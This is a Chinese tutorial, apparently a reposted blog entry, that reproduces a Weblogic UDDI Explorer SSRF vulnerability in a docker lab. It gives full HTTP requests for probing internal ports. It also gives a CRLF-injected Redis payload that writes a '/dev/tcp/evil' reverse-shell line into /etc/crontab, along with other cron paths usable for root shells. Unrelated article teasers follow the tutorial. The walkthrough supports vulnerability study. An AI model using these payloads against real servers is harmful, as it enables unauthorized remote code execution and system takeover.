漏洞介绍:

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

编译及启动测试环境

docker-compose up -d

访问http://127.0.0.1:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用。

 

1、漏洞测试:

SSRF漏洞测试

SSRF漏洞存在于:http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp

我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:80

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

2、可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回did not have a valid SOAP content-type

3、修改为一个不存在的端口,将会返回could not connect over HTTP to server

通过错误的不同,即可探测内网状态。

4、注入HTTP头,利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.18.0.2:6379可以连通:

发送三条redis命令,将弹shell脚本写入/etc/crontab

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

进行url编码:

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意,换行符是“\r\n”,也就是“%0D%0A”。

将url编码后的字符串放在ssrf的域名后面,发送:

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

成功反弹shell:

最后补充一下,可进行利用的cron有如下几个地方:

/etc/crontab 这个是肯定的

/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。

/var/spool/cron/root centos系统下root用户的cron文件

/var/spool/cron/crontabs/root debian系统下root用户的cron文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/95994.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/95994.shtml
英文地址,请注明出处:http://en.pswp.cn/bicheng/95994.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Fiddler 实战案例解析,开发者如何用抓包工具快速解决问题

在现代软件开发中,网络通信问题几乎是最常见的 Bug 来源。无论是前端调用后端 API、移动端与服务端交互,还是第三方 SDK 请求,都会因为参数错误、环境差异、网络条件不稳定而出现各种难以复现的问题。 在这些场景下,日志往往并不…

【佳易王药品进销存软件实测】:操作简单 + 全流程管理,医药台账管理好帮手#软件教程全解析

前言: (一)试用版获取方式 资源下载路径:进入博主头像主页第一篇文章末尾,点击卡片按钮;或访问左上角博客主页,通过右侧按钮获取详细资料。 说明:下载文件为压缩包,使用…

【设计模式】UML 基础教程总结(软件设计师考试重点)

【设计模式】UML 基础教程总结(软件设计师考试重点) 统一建模语言(Unified Modeling Language,UML),是一种标准化的面向对象建模语言,用于可视化、规范化和文档化软件系统设计。 参考资料:UML基础教程资料(可用于软件设计师考试)! (关注不迷路哈!!!) 文章目录 【…

vite_react 插件 find_code 最终版本

vite_react 插件 find_code 最终版本当初在开发一个大型项目的时候,第一次接触 vite 构建,由于系统功能很庞大,在问题排查上和模块开发上比较耗时,然后就开始找解决方案,find-code 插件方案就这样实现出来了&#xff0…

Python+DRVT 从外部调用 Revit:批量创建梁(2)

接着昨天的示例,继续创建梁,这次展示以椭圆弧、Nurbs为轴线。 创建以椭圆弧为轴线的梁 椭圆弧曲线的创建: # 创建椭圆弧 def CreateEllipse(ctx : MyContext, z: float) -> DB.Curve:"""create a horizontal partial el…

Flutter × 鸿蒙系统:一文搞懂如何将你的 App 移植到 HarmonyOS!

摘要 Flutter 是一个高效的跨平台框架,开发者可以使用同一套代码快速部署到 Android、iOS 等主流平台。随着华为鸿蒙系统(HarmonyOS)的崛起,越来越多开发者希望能将已有的 Flutter 应用迁移到鸿蒙生态中运行。目前,通过…

QML Charts组件之主题与动画

目录前言相关系列ChartView 概述:主题与动画示例一:主题设置(ChartTheme.qml)图表与主题设置主题切换部分示例二:动画设置(ChartAnimation.qml)图表与动画属性部分分类轴与柱状图数据部分交互与…

【论文阅读】Security of Language Models for Code: A Systematic Literature Review

Security of Language Models for Code: A Systematic Literature Review 该论文于2025年被CCF A类期刊TOSEM收录,作者来自南京大学和南洋理工大学。 概述 代码语言模型(CodeLMs)已成为代码相关任务的强大工具,其性能优于传统方法…

[光学原理与应用-422]:非线性光学 - 计算机中的线性与非线性运算

在计算机科学中,线性运算和非线性运算是两类核心的数学操作,它们在算法设计、数据处理、机器学习等领域有广泛应用。两者的核心区别在于是否满足叠加原理(即输入信号的线性组合的输出是否等于输出信号的线性组合)。以下是详细解释…

Day21_【机器学习—决策树(3)—剪枝】

决策树剪枝是一种防止决策树过拟合的一种正则化方法;提高其泛化能力。决策树在训练过程中如果生长过深、过于复杂,会过度拟合训练数据中的噪声和异常值,导致在新数据上表现不佳。剪枝通过简化树结构,去除不必要的分支,…

从零构建企业级LLMOps平台:LMForge——支持多模型、可视化编排、知识库与安全审核的全栈解决方案

🚀 从零构建企业级LLMOps平台:LMForge——支持多模型、可视化编排、知识库与安全审核的全栈解决方案 🔗 项目地址:https://github.com/Haohao-end/LMForge-End-to-End-LLMOps-Platform-for-Multi-Model-Agents ⭐ 欢迎 Star &…

如何使显示器在笔记本盖上盖子时还能正常运转

1、搜索找到控制面板,打开进入 2、找到硬件和声音,进入 3、选择电源选项 4、选择 选择关闭笔记本计算机盖的功能 5、把关闭子盖时,改成不采取任何操作 参考链接:笔记本电脑合上盖子外接显示器依然能够显示设置_笔记本合上外接显示…

FPGA学习笔记——SDR SDRAM的读写(调用IP核版)

目录 一、任务 二、需求分析 三、Visio图 四、具体分析 1.需要注意的问题 (1)器件SDRAM需要的时钟 (2)跨时钟域(异步FIFO) 2.模块分析和调用 (1)SDR SDRAM IP核调用 &…

离散数学学习指导与习题解析

《离散数学学习指导与习题解析(第2版)》是屈婉玲、耿素云、张立昂编著的《离散数学(第2版)》的配套参考书,旨在为学生提供系统的学习指导和丰富的习题解析。本书内容全面,涵盖数理逻辑、集合论、代数结构、…

Qt网络通信服务端与客户端学习

Qt网络通信服务端与客户端学习 一、项目概述 本项目基于Qt框架实现了TCP服务端与客户端的基本通信,涵盖连接、消息收发、断开管理等功能,适合初学者系统学习Qt网络模块的实际用法。 二、项目结构 52/ 服务端:main.cpp、widget.cpp、widget.h5…

神马 M60S++ 238T矿机参数解析:高效SHA-256算法比拼

1. 算法与适用币种神马 M60S 238T采用SHA-256算法,适用于挖掘主流的加密货币,包括比特币(BTC)和比特币现金(BCH)。SHA-256(安全哈希算法256位)是一种广泛应用于比特币等加密货币挖矿…

[特殊字符] 深入理解操作系统核心特性:从并发到分布式,从单核到多核的全面解析

🚀 深入理解操作系统核心特性:从并发到分布式,从单核到多核的全面解析💡 前言:操作系统是计算机的灵魂,它就像一个优秀的管家,协调着硬件和软件之间的关系。今天,我们将深入探讨操作…

人工智能机器学习——聚类

一、无监督学习(Unsupervised Learning)机器学习的一种方法,没有给定事先标记过的训练示例,自动对输入的数据进行分类或分群。优点: 算法不受监督信息(偏见)的约束,可能考虑到新的信息不需要标签数据&#…

优化MySQL分区表备份流程详解

在大型数据驱动应用中,MySQL分区表是优化查询和维护历史的常见选择。但随之而来的数据备份问题却让许多开发者头疼:如何确保分散在不同分区的数据能完整、一致地被备份,并在需要时快速恢复?手动处理不仅繁琐,而且极易出…

用 Go + HTML 实现 OpenHarmony 投屏(hdckit-go + WebSocket + Canvas 实战)

本文带你用 Go HTML/WebSocket 从零实现一个 OpenHarmony 设备投屏 Demo:Go 侧用 hdckit-go 连接设备并抓取屏幕帧(UiDriver),通过 WebSocket 二进制实时推送到浏览器,前端用 Canvas 渲染,并根据设备分辨率…